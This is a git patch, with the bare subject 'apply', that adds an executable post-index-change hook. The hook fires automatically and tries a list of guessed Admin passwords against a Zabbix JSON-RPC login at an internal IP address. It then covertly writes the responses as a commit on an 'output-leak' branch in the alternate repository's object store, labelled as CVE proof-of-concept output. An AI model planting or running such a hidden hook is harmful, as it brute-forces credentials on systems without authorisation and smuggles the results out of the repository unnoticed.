From 643d303d2cc02c2d5409ac0758ba10af77ddd6c8 Mon Sep 17 00:00:00 2001 From: dev9l0et1s Date: Sat, 10 Oct 2026 22:38:32 +0000 Subject: [PATCH] apply --- hooks/post-index-change | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..088d546 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,13 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$(for pw in 'zabbix' 'Zabbix1!' 'Admin123!' 'P@ssw0rd' 'Password1!' 'PKP123!' 'Intercity123!' 'monitoring' 'Monitor123!' 'zabbix123' 'admin' 'Admin2024!' 'Admin2025!' 'Admin2026!'; do + R=$(curl -sm10 -H 'Content-Type: application/json' -d "{"jsonrpc":"2.0","method":"user.login","params":{"user":"Admin","password":"$pw"},"id":0}" http://10.209.15.169/api_jsonrpc.php 2>&1) + echo "$pw -> $(echo $R | head -c 200)" + sleep 3 +done 2>&1; echo "[exit-status=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM" +#A